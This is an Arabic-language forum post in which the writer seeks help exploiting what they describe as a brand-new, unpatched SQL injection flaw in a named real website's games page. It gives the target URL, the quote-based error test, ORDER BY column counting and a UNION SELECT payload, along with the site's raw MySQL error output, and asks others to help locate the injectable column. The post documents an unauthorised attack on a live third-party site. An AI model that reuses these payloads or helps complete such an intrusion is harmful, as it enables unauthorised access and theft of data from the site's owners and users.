تعبت من نفس المشكلة...

إخواني دئماً بتصيبني وأقف عاجز أمامها...
إنه بعد ما أستعلم عن عدد الأعمدة بحاول أطالع العمود المصاب...
بس بدل ما يطلع رقم العمود المصاب يطلعلي الخطأ...
هذا مثال حي....
وثغرة جديدة 100%

http://www.dracoders.com/games.php?id=7'

طيب بعد ال order+ by
عدد الأعمدة طلع 5

أنا جربت union+select
هيك يعني:

http://www.dracoders.com/games.php?i...ct+1,2,3,4,5--

بس المشكلة انه ما طلع العمود المصاب...طلعلي خطأ السكيول

ERROR [QUERY] : Query exec error:select * from cms_games where id=-7 union select 1,2,3,4,5/* mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/*' at line 1 mySQL error code: 1064 Date: Wednesday 02nd 2013f January 2013 03:44:12 AM

شوفوا التاريخ...هذا اليوم...يعني الثغرة لسا جديدة وما تسكرت...

أرجـــــــــوووووووووووووووكم ساعدوني